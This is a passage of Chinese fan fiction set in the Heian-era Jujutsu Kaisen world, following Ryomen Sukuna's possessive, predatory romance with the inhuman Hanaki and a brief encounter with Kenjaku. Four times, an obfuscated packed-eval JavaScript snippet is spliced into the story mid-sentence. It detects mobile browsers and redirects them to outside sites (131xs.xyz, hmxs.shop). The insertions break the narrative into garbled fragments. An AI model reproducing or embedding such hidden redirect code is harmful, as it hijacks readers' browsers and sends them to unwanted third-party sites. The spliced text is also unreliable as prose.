“拥有四只手臂也不错呢,能比普通人类做到更多事吧?” 花纪的发言让两面宿傩正在烹饪的行云流水的动作出现了短暂的暂停。 两面宿傩简单地回答:“在战斗上确实占有优势,结印和使用咒具都更方便。” 花纪发出真心的感慨:“真是令人羡慕呢。” 只可惜这种战斗上的便利性,属于他没法拥有的东西,说到底还是拥有不了。 “不用羡慕。” 两面宿傩略显生硬道:“你不需要战斗。” 有他在,还轮不到对方参加战斗,这样也就不需要担心受伤或者落败。 花纪只是微笑,并不回答。 * 在两面宿傩不断奔波和威胁之下,那些被他抓来的人们生怕在这个活阎王面前多待一秒就会被取走性命,拼了命地加班加点,把宅邸赶工完毕,完成了两面宿傩布置给他们的任务。 两面宿傩比他们见过的贵族们还要挑剔,从里到外仔细巡视了一遍宅邸,又重新提出了一堆要求,人们叫苦不迭,却不敢表现在脸上,低眉顺眼地应下,认命地听从两面宿傩的吩咐完成布置。 等两面宿傩终于满意,放他们离开之时,辛勤了好一段时间的人们死里逃生,没想到还能在这种恶鬼下保住性命,他们被抓来时还以为自己要被吃掉了。 然而试图逃跑的人除外,两面宿傩可不是善人,那些逃跑的人悄无声息的永远消失了。 不过两面宿傩除了威胁他们外,没有在生活住行上苛待他们。毕竟他们的身体状况关乎着完工的时间,虽然两面宿傩并不在意这些人的死活,却不想自己的事情因此耽误。 宅邸一完工,两面宿傩动过杀意,想把知道这里的人永远封口。但考虑到如果这些人失踪太久,里面还有不少贵族出身的人,那些麻烦的咒术师会继续像苍蝇一样找过来,而他之前已经清理不少了。两面宿傩勉强扼住杀意,转而将这些人弄晕,不耐烦地用武力使咒灵屈服,让咒灵把这些人类送到外面。 抓人来时也是用同样的方式,免得宅邸的位置暴露出去。就连需要用的材料也是差使咒灵运送,这个方法还是两面宿傩从花纪这里得到的灵感,虽然他没法直接控制咒灵,但通过武力迫使咒灵勉强听从命令也够了。 “谢谢,我很喜欢这份礼物,宿傩。” 花纪不再看建筑,转而看向两面宿傩,昳丽的脸庞浮现欣悦的笑容。 就算是一向对美人毫无怜惜之情的两面宿傩,也不得不正视事实,那就是自己陷入了一个难以摆脱的漩涡。 会被黑发美人的一颦一笑牵引心神,哪怕无数次告诫自己不要太上心,还是会下意识去在意。 花纪伸出双手,两面宿傩以为他想抱住自己,身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530215|186371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体本能摆出配合的姿态,结实的小臂却被人用手指戳了戳。 “你太高了,不弯下腰我就够不到了。” 够到什么? 虽然疑惑,两面宿傩还是配合地屈膝弯腰,方便花纪的动作。 接着眼睛下方的脸颊被人用柔软的指腹抚摸,由于距离的拉近,两面宿傩鼻翼嗅到的香气更浓了。那张怎么看都看不厌的艳丽容颜在眼前放大,美得惊心动魄。但更令人在意的,果然还是那双眼眸。 两面宿傩有些饥渴地做出吞咽的动作,然而口腔里空荡荡的,没有食物,只能将唾液咽入又感到饥饿的腹中,不自觉地磨着牙齿,以此缓解想要咬合食物的冲动。 “真可爱的眼睛。” 花纪的语气是由衷的赞美,指腹摩挲着两面宿傩的脸颊,又去抚摸两面宿傩右脸上方仿佛是两张脸重叠在一起以至于可怕的凸起部分,又重复道。 “宿傩,你有着比普通人更美的眼睛。” 花纪没有撒谎,在他朴素的审美观里,眼睛自然是越多越好。 而拥有两双眼睛的两面宿傩,在这一点上超过了只有一双眼睛的普通人。 两面宿傩向来不在意其他人的看法,虽然人们视他为丑陋畸形的怪物,但两面宿傩从来不会产生自卑这种情绪,反而蔑视周围人的弱小,对孱弱的人类嗤之以鼻。因此也不会对自身两面四臂产生厌恶,更不会觉得丑陋,而是坦然接受身体的一部分。 当然,如果其他人故意赞美他的两面四臂,他会把这视作挑衅,直接抹杀对方。 但现在出言赞美的是花纪,纯澈的喜爱之情如同一眼望到底的湖水,不掺杂任何谎言。 对方的喜爱是真的。 两面宿傩的饥饿感更强了。 自从遇见花纪之后,两面宿傩无论吃多少东西,都填不饱腹中的空虚。胃袋像是无底洞,在吞食真正想要的食物之前,永远无法填满,更不会知足。 两面宿傩伴随着食欲产生的,还有另一种欲望。是属于雄性遇到心仪的对象时,才会迸发的欲求。热烈地刺激着肺腑,心脏的每一次鼓动,都会因为对方的存在更加强烈。 尤其是花纪望着他的眼神,实在太滚烫了。心中再怎样坚硬的堡垒都会在这双紫眸的注视下融化,甜稠的爱意,就像吸引蜜蜂的花蜜,等到蜜蜂来临,就会张开牢笼,将其吞吃入腹。 有着艳丽外表的美少年,实际上却有着残酷的纯真,恶意和爱意都是如此。 同他一样,即使外表相去甚远,却都是怪物,也就是同类。 两面宿傩从来不会克制欲望,除非迫不得已,更不会委屈自己。可他一直克制着对眼前之人的欲望,无论是食欲又或者身为雄性的渴求。 因为他的直觉在提示,再这样下去,恐怕他迟早会成为真正被捕获的猎物。 哪怕花纪的爱意看似厚重,实际上却轻飘飘的没有重量。会因为一时的爱情蒙蔽双眼,他就再也无法摆脱这上瘾的感觉了。 这非真实之爱,更无法谈及永远。 一个轻柔的、单纯的吻落在了两面宿傩的脸颊上。 温热的触感一触即离,花纪弯着眼睛,长而细密的睫毛如同展开的蝶翼,诚恳道:“其实我想亲吻你的眼睛,不过对于人类,眼睛是很敏感的部位吧?所以我就改为亲一下你的脸了。” 回应的是两面宿傩充满侵略的吻,长驱直入,攻占黑发美人柔软的口腔,啜饮甜津。 花纪微微仰头,配合两面宿傩的动作,轻拍对方的后脑以作回应。 猎物沦陷了。 5. 第 5 章 从一开始,花纪就知道两面宿傩不是温顺的猎物,而是随时会反咬一口,露出獠牙的危险存在。 无时无刻不在紧盯着他的视线,像是打量美味的餐点,考虑从哪里下口,撕开细嫩的皮肉。即使只是无形的注视,两面宿傩澎湃的食欲,依然让他的肌肤仿佛能感受到唾液滑落的微妙触感。 虽然与两面宿傩的交流看似融洽,然而对方那随时会冲破皮囊的欲望也从未隐藏过,明晃晃地摆到了台面上。 花纪喜欢两面宿傩对食欲的执着,赞同进食才是生物的一大乐趣。 就算与死亡的风险相伴,可从中获得的收获也不小。而且他可不是那么容易就会死亡的存在,更别提还和自称系统的家伙达成了交易。 比起两面宿傩一直在忍耐着食欲,花纪却已经实实在在的在进食了。 两面宿傩的欲望直白又纯粹,食欲也在其中占据着浓墨重彩的地位。花纪从他身上品尝到的情感,在这么多人类中也算独特的了。浓烈又辛辣,虽然是顿美餐,能极大地填饱肚子,却会更加刺激食欲,无法满足于眼下的分量,就像人类吃了开胃菜,反而胃口大开。 花纪伸出舌尖,舔了舔被两面宿傩吮吸成艳丽颜色的唇瓣。无视眼下暧昧的气氛,特意用微微喘息的声音询问:“宿傩,之前放跑的那个人不用处理吗?” 花纪指的是当初与两面宿傩战斗过、并且受到他影响的那个拥有特殊眼睛的人类。虽然花纪实际上根本不在意后续的影响,但他现在不想轻易与两面宿傩发生更深入的关系,因此故意打岔。 倒不是对这方面有着执着,只是花纪想多欣赏一会两面宿傩忍耐欲望的模样。 毕竟实在是……太让人愉悦了。 两面宿傩的动作微微停顿,眉心下压,不悦地皱眉。由于异于常人的外表,让他的脸看起来威压更强了。 “那个讨人厌的家伙确实有点实力,不过就算放着不管,他也不会随便行动。” 两面宿傩不掩嘲弄,用充满恶意的声线说道:“毕竟这些自视甚高的世家大族一举一动都被盯着,可不会随便做出损害自身利益的事。” 好歹五条律是五条家主,就算心有邪念,凭借实力,加上远离了花纪,至少应该能压下冲动,不会随意乱来。 不过如果那家伙实力不堪,做不到这点,他也不介意送对方一程,早点去黄泉路。 只是两面宿傩想到还有人觊觎着怀里的人,杀意还是无法抑制地涌出。 两面宿傩突然想起一点,脸色随即一变,低头用捕捉蛛丝马迹的视线紧盯着花纪,语气有些危险:“你该不会是喜欢那家伙的脸吧?” 仔细想来,花纪根本就没提过那些死去的咒术师,唯独提起那个白毛蓝眼的家伙,除了实力之外,两面宿傩只能想到这点了。 若是放在平安京之中,两面宿傩也不得不承认,五条律的外表要比他受欢迎多了。 花纪无视倏地险恶的气氛,表情不变道:“我喜欢他的眼睛。” 六眼吗? 如果花纪看上的是宝石,两面宿傩顶多口头抱怨两句“真是贪婪”,然后帮他抢回来。 但这次不一样,不是因为五条律特殊的地位,更不是因为五条律身为五条家主的实力,只是两面宿傩不喜欢自己的人拿着其他男人的眼睛,仅此而已。 两面宿傩轻易地作出决定,他迟早要杀了五条律,然后把那双六眼挖出来踩碎,那张惹人生厌的脸也要毁掉。 “你要是想要眼睛,把我的给你,如何?” 两面宿傩低低地笑了,被他搂在怀里的花纪,清楚地感受到身下传来的震动。 “你不是喜欢我的眼睛吗?想要多少都可以,我全都给你。” 反正他有反转术式,只要花纪想要,挖出来多少都能做到。 “但是有了我的眼睛,就不许你还惦记其他男人的眼睛了。” 两面宿傩看着花纪这张能够称为蓝颜祸水的脸,又觉得还不够,补充道。 “女人也不行,妖怪也不可以,总之除了我的眼睛都不行。” 两面宿傩的回答有些出乎花纪的预料,他不是没遇到过想要把一切都献给他的人,只是两面宿傩这种回答,在那么多人中也能称得上稀奇。 空气安静了一会,花纪才用柔软的声音说道:“会痛吧?” 黑发的美人露出感同身受的表情,有些心疼地抚摸着两面宿傩的眼角,嗔怪道:“我不需要,而且我喜欢的是在你身上完好无损的眼睛,如果眼睛脱离了你的身体,那就没有意义了。” 两面宿傩却不肯轻易被糊弄过去,追问道:“那你刚才提到的那个人呢?” “唉?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530216|186371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花纪发出疑惑的声音,一脸纯真,用理所当然的口吻回答:“那个人无所谓吧,他又不是你,怎么样都没关系。” 也就是只会心疼他,而不在意其他人。 两面宿傩得到了满意的答案,却又无法满足。 花纪爱着他,却又不仅仅是爱着他。 就算依赖着他,从他身上汲取养分,但只要他这个宿主不合格,又会很快找寻下一个目标。 但他不会允许,怪物就该和怪物在一起,这样才是绝配,不是吗? 两面宿傩放肆地笑了,笑声很大,让花纪都忍不住蹙眉,推了他一把,却没能推开,反而被抱得更紧了。 “记住你说的。” 两面宿傩用手捏住花纪的下巴,抬起他的脸,直视这张符合人类对美的幻想的面孔。 “就算是骗我的,我也不会给你反悔的余地。” * 两面宿傩想吃了花纪,无时无刻不在想着,可如果真的把人吃掉,也只能满足一时的食欲,再也无法接触到对方。 甚至于两面宿傩毫不怀疑,如果真的把人吃了,他或许以后再也无法进食其他食物,哪怕是再怎样细嫩的女人和小孩的肉也不行,因为根本无法与那样的仙肴美味相提并论。 所以要忍耐,必须要忍耐。 忍着将那纤细脆弱的脖颈彻底折断,啃噬柔嫩的皮肉,啜饮甜美的血液,挖空哪怕以人类内脏而言都十足美丽的器官。 说来,对方到底有没有人类的内脏呢? 还有那不断昂扬的渴望,两面宿傩是第一次为此困扰又难堪到这种地步。 花纪不是咒灵,两面宿傩却觉得他比咒灵更可怕。 咒灵从负面情绪中诞生,对人类的恶意直白又明显。而更加危险的,却是以看似正面的情感,让人心甘情愿的沦为俘虏。 在这副人类的容姿之下,究竟隐藏着何种的内里呢?至少比起那些特级咒灵,要远远恐怖的多。 但两面宿傩不在意这些,无论那有多么骇人都没关系,他在意的,只有花纪能否一直属于他。 如果花纪哪一天想摆脱他,那他就把他吃掉,彻彻底底、一点不剩的吃掉。这样一来,花纪就不会再想着离开他,他们也可以永远在一起了。 这是花纪擅自闯入他人生、将他视作猎物的代价。 6. 第 6 章 如何饲养一朵美丽稀有的花? 两面宿傩已经有了足够的心得体会,那就是在力所能及的范围内寻来最好的东西。 哪怕两面宿傩知道花纪根本不在意这些物品多么珍贵稀有,这只是证明而已。用来证明那些无形的东西确实存在,试图用现实的重量去衡量无形之物。 花纪:“我想要咒具。” 两面宿傩:“用不到还想拿来收藏,真是浪费。” 花纪端庄地微笑,两面宿傩不知怎的哽了一下,最后又骂骂咧咧地抢了不少咒术师的咒具,弄得咒术师们怨声载道。 琳琅满目的咒具摆在眼前,花纪初时还有些兴趣,后来很快就索然无味,不再去看。 喜新厌旧。 这四个字窜入两面宿傩的大脑,沉默片刻后,他装作不经意的开口:“这些咒具是留着还是扔了?” “我不要了,这些就交给你处理吧。” 花纪语气随意地交代完,又熟练的提出新的要求:“我想养只狗。” 两面宿傩张嘴,差点习惯性答应。话从脑子里过了一遍,反应过来后,硬生生中途改口:“可——不准!” 养狗?养什么狗,他不允许有其他活着的东西能碰花纪!不对,死了的也不行! 炫目的紫眸先是疑惑地看着两面宿傩,然后恍然大悟似的微微睁大,娴熟的安抚道:“放心,就算养了狗,我也不会冷落你,宿傩。” 两面宿傩:“……” 两面宿傩快气笑了。 就算早就清楚花纪是怎么看待他的,但这么坦率地说出来,真是装都不装了! 两面宿傩杀气腾腾地强调道:“总之,我不允许你养狗,除了狗之外的人或动物也不行。” 花纪盯着两面宿傩看了半天,踩在对方的忍耐极限到达之前,才语气有些惋惜地说:“好吧,既然宿傩你这么说,那就按照你的想法来。” 毕竟现在最好用的是两面宿傩啊。 花纪是真的惋惜,两面宿傩不允许他有别的狗,反应格外抗拒。虽然能验证对他的在意,但还是不够听话。 但没办法,谁让他爱着两面宿傩呢,最后还是要原谅和包容对方,忍耐这些缺点。 “毕竟我爱你啊,宿傩。” 没错,这都是因为爱啊。 花纪白皙的脸颊泛起红晕,艳丽更胜晚霞,紫色的眸子满溢的爱意只是一眼便能使人迷醉。任谁看到了,都会以为他是个沉浸在爱情中的无药可救的家伙,毕竟被这种恋慕眼神盯着的家伙,可是平安京中凶名在外、身形可怕的两面宿傩啊! “……说这种话挑逗我,你应该做好觉悟了吧?” 字句勉强从牙关挤出,两面宿傩语气中的威胁之意昭然若揭。 花纪一点也不怕,反而开怀地笑了。 在两面宿傩黑着脸几乎暴怒的注视下,花纪擦了擦眼角的眼泪,指尖抚上两面宿傩有着黑纹、裸露在外的胸口,悠悠开口:“宿傩想要我吧?” 指尖触碰到的身体僵硬了,在胸腔中被肋骨保护的心脏剧烈地跳动着。 “可以哦。” 或许两面宿傩都没注意到自己现在的表情,像极了终于咬到在面前晃来晃去的肉骨头的狗才会露出的模样。 系统则用酸到几乎变质的语气冷冷道,[真丑陋。] 然而花纪根本不在意旁观者的心情,自顾自的继续道:“只要宿傩成为平安京中的最强就可以。” 两面宿傩确实是咒术师中让人闻之色变的诅咒师,但对于花纪而言,这还不够。 “成为最强,然后和我在一起吧,宿傩。” 花纪柔情地看着两面宿傩,就像在看一块即将在比赛中散发光彩的珠宝,谁会不喜欢美丽又有价值的珠宝呢? 即使带毒的饵食味道再甜美,也无法改变它有毒的本质。 但两面宿傩觉得没关系,再怎样的剧毒,对他来说也不过如此,他不会因为这种程度就倒下。 两面宿傩用行动证明了何谓最强。只是短短的两年时间,他就成为平安京无人不晓的诅咒之王。只是再怎样的凶名,由于他定期清理住处周围咒灵的举动,反而被附近的村民视为驱除邪魔的鬼神而崇敬。 而两面宿傩不关心其他人,他只在意花纪是否会履行诺言。 系统忍了又忍,反复告诉自己这是王后的决定,祂要遵从……不行,还是忍不下去了! [找机会杀了他吧,你不必这么委屈自己。] 系统一向平静的声音终于出现了裂痕,哪怕只是听着,花纪也能清晰感受到系统咬牙切齿的情绪。 [他配不上你!相貌不堪、举止粗鄙、性格恶劣……] 系统细致的列举两面宿傩的缺点,结论是对方不配。 [是吗?我还挺喜欢他的。] 至少比起那些普通人,花纪觉得两面宿傩的外表要有优势多了。 [……他也不是没有优点。] 系统憋出一句话,就实在编不下去了。 祂可不想给情敌说好话! 要不是为了王后的面子,祂连这句补充都不想说。 [而且我不觉得委屈,你情我愿的事,没什么好委屈的吧?] 绝杀! 哪怕系统早有心理准备,还是自闭了。 ——真好玩。 不过花纪还是难得反思了下,毕竟对方现在是他的合作伙伴,逗弄得太过可不好。 “再不给他奖励,他估计要等不及了。” 花纪声音轻快,走向了两面宿傩的卧室。 “毕竟能忍到现在,可是很辛苦的。” * 自从拥有足够的实力后,两面宿傩从来没有对渴求的事物如此忍耐过。 明明可以撕破约定,提前得到那具美丽又完美的身体,可为什么还要辛苦的忍耐呢? ……或许是沉浸在这场真实又虚假的扮演游戏里太久了。 像是眷恋那甜蜜的滋味,主动服下慢性毒药的人,不知不觉间毒素已经深入骨髓,难以祛除。 美丽又全心全意爱着自己的“妻子”,对丈夫给予无限的温情,投入十足的关怀。如果一方不是两面宿傩自己,另一方是个怎么看也不像人类的家伙,恐怕都要被人羡慕夫妻情深。 ……哈,见鬼的夫妻情深。 两面宿傩在心中否定,哪有妻子试图让丈夫变成温顺的狗?或者说正常的妻子怎么会把丈夫当成可爱的狗来爱? 不过没关系,就算他不够听花纪的话,只要他足够强,花纪就还会是他的。 只要拿捏了这一点,他们就会永远生活下去——两面宿傩的思维忽然卡壳。 过去的记忆不断回放,两面宿傩发现了过去忽略的一点。那就是三年的光阴过去,花纪的容颜没有一丝变化。 这一点两面宿傩绝不会弄错,毕竟他看了无数次那张脸。在点滴的相处中,早就将花纪的声音、气味、习惯、外貌……一切能烙印在脑海的,统统记住了。 虽然心中认定两人同为怪物,可他差点忽视了本质,他实际上姑且还算是个人类,会老去,会死亡,可花纪呢? 至少外表而言,花纪一点变化都没有。 他会死去,而花纪会遇到新的猎物——他怎么可能允许这种事发生? 甘美的嘴唇、温软的怀抱、爱恋的眼神……他绝不会拱手让人。 在得到梦寐以求的事物后,两面宿傩更是坚定了原本的想法。 他要死亡也无法将他们拆散。 * “是新来的客人吗?宿傩没跟我提到呢。” 羂索一惊,本想将身体迅速调整摆出最适合战斗的姿态,却因为这道声音陷入了麻痹状态,完全动弹不得。 “既然是客人,需要我带你去见宿傩吗?” 快答应对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530217|186371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 羂索头一次发现自己的身体竟然能这么违背理智,擅自的想要做出失控的决定。他用几乎要把舌头咬断的力道咬住舌头,口腔遍布血腥的味道,液体顺着食道流下,呛得想咳。 不能让两面宿傩知道他擅自来到不允许进入的区域,否则无论他手上的情报让两面宿傩再怎么感兴趣,对方也会毫不犹豫地杀了他。 只要听到这道声音,羂索就明白了一切。 两面宿傩金屋藏娇的传言是真的! 虽然金屋藏娇的说法是从唐土传来的,但羂索认为用在这里贴切极了。 哪怕声音的主人是男性,可那又怎样?美人不分性别,而且贵族们也不是没有喜好男风的人。 羂索震惊的不是性别,而是两面宿傩从哪找来这样的人物。 花纪站在羂索的背后,无法看到羂索扭曲的表情,不过就算看到了,他也会不以为意。 “你想要我带你去见宿傩吗?” 花纪耐心地又询问了一遍,哪怕羂索看不到他的表情,脸上依旧带着完美的笑容,并不在意对方诡异的沉默。 羂索艰难出声:“……不用了,谢谢。” 花纪表情不变:“客人真是客气呢。” 羂索忍耐着胸腔里涌动的失落和痛苦,仅仅是拒绝这一行为,就让他付出了前所未有的辛苦。他反复咬断自己的舌头,不知道咬断了多少次,纯粹是依赖反转术式,才在舌头彻底断开之前利用粘连的一点皮肉修复好的。无数的血液不断流入胃中,直至撑满胃袋。如今只是闻到血腥味,羂索便忍不住反胃。 只是声音就有如此威力,见到本人又该如何呢? 羂索想要见到对方的容颜,哪怕是一次也好,这足够他回味许久了。可理智在哀嚎,告诫他不要回头,背后是无法直视的深渊,一旦下落就再也无法上来了。 不过没等羂索挣扎出个结果,花纪就径直转身,朝向与羂索相反的方向离开了。 “无论是外表还是实力,都不如宿傩。”花纪评价道。 [确实。]系统赞同道。 祂直接忽视了以大多数人类的审美观来看,是羂索清俊的容貌比两面宿傩更受欢迎。 王后的审美怎么可能有错! 系统不忘强调,[不过两面宿傩不够听话,你应该早点丢掉他。] “我知道。”花纪岔开话题,“不过刚刚那家伙能咬断那么多次舌头,倒是很有毅力。” 系统看不惯两面宿傩不是一天两天了,花纪也无心替两面宿傩说好话,只是不想纠缠这个话题。 [可他还是转头了。] 明知道转头会面对什么,羂索还是自投罗网了。还好花纪已经离开,不然羂索就完了。 系统看不惯花纪表扬人类,但这不妨碍祂赞美王后。 [不过到底只是人类,能做到这种程度,算他比一般人要有些能耐。只要是人类,就无法对你无动于衷。] 花纪对变相的赞美没有兴趣,将心思放在今天的热身上,“刚刚我接近目标的技巧怎么样?” 他可是很久没做这种事了,毕竟这些年来能碰到的活人只有两面宿傩一个,而他不能在对方面前暴露太多。 收敛气息,隐藏声音,至于身上的气味,这只是平时为了诱惑目标而散发的,也能主动停止。 系统给出了客观的评价和建议,花纪虚心接受,最后系统问出了祂一直无法忽视的问题。 [这些技巧你是从哪里学来的?] “我以前的恋人们。” 紫眸中的情意绵绵,花纪露出追忆般的神色,语气有着软绵又黏稠的深情,像是融化的糖浆即将凝固,“都是他们教我的,我在他们身上可是学到了很多,至今都很感谢他们呢。” 系统:“……” 祂忍不住饱含主观情绪作出结论:无论发生什么事,都不是王后的错,错的只能是其他人。 7. 第 7 章 羂索颇为狼狈地从两面宿傩的住处逃离。 还好在羂索擅自闯入两面宿傩不允许进入的区域时,他们的商讨早已结束,即便离开,对原本的计划影响也不大。 不告而别或许会激怒两面宿傩,但总好过让他发现自己见到了不该见的人。 虽然严格意义上,羂索根本没见到那个人的脸。当他控制不住心中的躁动转过头时,那道身影早就消失了。 羂索失落和庆幸的情绪混杂在一起,竟有些留恋那种令大脑发昏的感觉。那道美妙的声音似乎连脑髓深处都能触碰,让身体随之战栗。 ……真想再听一次啊。 但贸然闯入,两面宿傩一定会杀了他。 为了他的大计,他也需要暂时摒弃其他欲望。 不过羂索不着急,慢慢来总会有办法,他只需要再忍耐一段时间,总能找到机会。 俊秀的脸庞因扭曲的笑容破坏了原本的美感,羂索将平日的贵族风度丢在脑后,猖狂笑着。 高高在上的诅咒之王,竟也要寻求让自身长生的办法,可见那个存在早已超脱时间的束缚。 永恒的美丽,听起来多么美妙啊! 就算没亲眼目睹,但近距离接触的羂索,已经触碰到了花纪部分本质。 只是这样一来,羂索就要对之后的计划进行调整了。 * “今天你去见客人了?” 花纪用手指描绘着两面宿傩身上的咒印,从手腕到上臂,再到肩膀和胸口,葱白的手指缓慢移动。两面宿傩忍耐着温软的挑逗,就算早就习惯花纪撩拨人心的动作,保持岿然不动的姿态还是需要不小的毅力。 两面宿傩的注意力被花纪的话吸引,拧紧眉心,“你见到那家伙了?” “他没见到我。” 两面宿傩弥漫的杀意散了一些,花纪不以为意,毕竟这不是针对他的。 “你都可以随便见人,却让我一直待在这里,不是很不公平吗?宿傩。” 就算是柔声细语,也无法改变话语的内容。两面宿傩本来稍松的眉心拧得更紧了,眼神锐利地紧盯花纪。 “你要出去?” 这无疑触及两面宿傩的底线。这些年来,他不仅重复着撕碎附近咒灵的举动,将咒灵视作想要攀附鲜花的害虫,还严防死守,禁止其他人同花纪接触,更不允许花纪靠近除了他以外的人。 这举动看似是替花纪着想,但花纪并不感动。就像植物的繁衍需要在花苞绽放后,依靠蜜蜂采蜜来促进花粉的传播。如果将花单独隔离,反而会成为拖累。两面宿傩这样做,大大拖累了他的成长。 更重要的是,花纪讨厌其他人替他做决定。而两面宿傩的干涉,正好踩在他最厌烦的点上。 花纪弯着眼睛,仿佛没察觉到危险,“我想见见其他人。” 现场一时之间被死一般的寂静包围,两面宿傩知道花纪不可能像表面那样什么都察觉不到,也明明清楚他不愿意让其他的家伙,却还故意提出他根本不想答应的要求。 两面宿傩摩挲着花纪精致的锁骨,指节粗大的手掌如果再往上移,一只手就能完全握住纤弱的脖颈,“你什么时候对那些渣滓感兴趣了?” 花纪的身体依然放松,瑰丽的脸庞带着游刃有余的笑意,“我只是有点无聊了。” 两面宿傩首先想到的,是第一次见面时倒在花纪面前的那些尸体。窜入鼻翼的香气,不可避免地混入了血液的腥气,那美丽的身影宛如尸山血海中盛开的曼珠沙华,妖冶又诡异,吸食着由血肉输送的养分。 如果无法抵抗诱惑,就会落得这种结局,沦为不值一提的存在。 两面宿傩情不自禁地用嘲弄的语调说道:“无聊?呵,你是想玩弄其他人吧。” 对渣滓没兴趣,却欣赏这些家伙走向灭亡的过程。换作其他人邀请他,两面宿傩不仅不排斥这种做法,还会一起兴致勃勃看好戏。然而想这么做的人是花纪,一想到那些渣滓的眼球会恶心地盯着对方,两面宿傩就想把他们的脑袋捏爆。 “难道你不喜欢吗?” 黑发的美人莞尔地笑着,不介意真实的性格暴露在他人的面前。 “把那些敢贬低你的家伙送到地狱,不是很好吗?” 花纪精致的眉眼凑得更近,彼此的鼻尖几乎要碰到一起,说话时唇齿间香气四溢,甜言蜜语落入两面宿傩的耳中。 两面宿傩知道这是假的,花纪也知道他知道这是假的,两个怪物彼此心知肚明地演着一场含情脉脉的戏剧。 这哪是为了他?只是拿他当借口而已。 ……也或许花纪对他确实有“爱”,但充其量不过是剑士对手上的剑、猎人对拿着的弓那样的爱,归根结底,是把他当作武器来爱着。说这种话,只是为了保养心爱的武器。 怪物怎么会懂人类的爱呢?曾经会对此产生奢望的他,才是最大的蠢货。 野兽的直觉加上长久的相处,如果连眼前之人的内核一点都不知道,才是白活了那么久。 两面宿傩不禁嘲笑过去的自己,回话的语气都变得恶劣,“我会亲自把他们送到地狱,用不着你来做。” 如果花纪是咒灵,他会以为两面宿傩在剥夺他的乐趣。但花纪不是咒灵,他知道两面宿傩拒绝的原因。 难道就没有什么办法让黏人的小狗暂时远离他吗?唉,小狗实力太强也会有缺点呢。 花纪对于两面宿傩的拒绝并不意外,他对这种独占欲早已习以为常。人类的爱就是如此矛盾的存在,一方面讲究牺牲与奉献,另一方面却又怀着自私的独占欲。 “真可惜,我很想见识你英勇的身姿呢,宿傩。” 闻言,两面宿傩终于忍不住咬住眼前修长的脖颈,比起普通人堪称锋利无比、轻易就能咬断野兽骨头的牙齿停留于温软的皮肉上,稍稍用力就留下红痕,却怎么也无法下定决心深入皮肉之下的红色肌理,咬断血管吮吸鲜红的血液。 如果可以品尝,绝对是无与伦比的美味,就像这个玩弄他的家伙的外表一样堪称世间仅有。 “怎么不咬下去呢?” 蛊惑的声音又一次扰乱两面宿傩的心绪,声音的主人还在继续对话。 “想要吃的话,就把我吃掉吧。” 明明面对死亡的威胁,花纪不仅不害怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16530218|186371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,甚至更加发自内心的期待了。 “一定要一点不剩、全部都吃掉啊,宿傩。” 等到两面宿傩把他吃掉之后,尝过无上的珍馐,就再也无法对那些普通的食物感兴趣了。 被饥饿折磨,无论吃什么都味如嚼蜡。这样的人生,实在值得欣赏。 唯一的遗憾,就是届时他无法亲眼见证了。 两面宿傩听得更加怒火中烧了。 他怎么可能不想?就是想得发狂,忍耐食欲才会如此饱受折磨。这么久的时间,他连花纪的一滴血都没尝过! 两面宿傩远离花纪诱人的脖颈,咬牙说道:“……你这个骗子,就这么恨我吗?” 两面宿傩本来想说,花纪就这么不爱他吗?可话到唇边,却用恨这个字眼代替。 “我没有恨你。” 黑发的美人疑惑地蹙眉,用毋庸置疑的语气回答:“我对你有的只是爱啊。” 两面宿傩冷笑:“那我可比你更懂爱。” 明明食欲如此旺盛,他却从来没有吞食过花纪的一点血液,更别说皮肉了。只是因为两面宿傩担心一旦尝过,就再也无法忍受这股食欲,彻底把心爱之人吃掉,从此面对无法再见到对方、只能孤身一人的结局。 从前两面宿傩早就习惯了一个人,不爱人也不被人爱,不会对此抱有不切实际的期望,但从未想过会有一天自己无法再接受这种生活。 而花纪却试图诱惑他走上毁灭的道路,还将其称之为“爱”。 他这个被视作鬼神敬畏的诅咒之王,都比花纪更懂爱。 对方是个骗子。 上当的他也是蠢货。 “那可不一定呢,宿傩。” 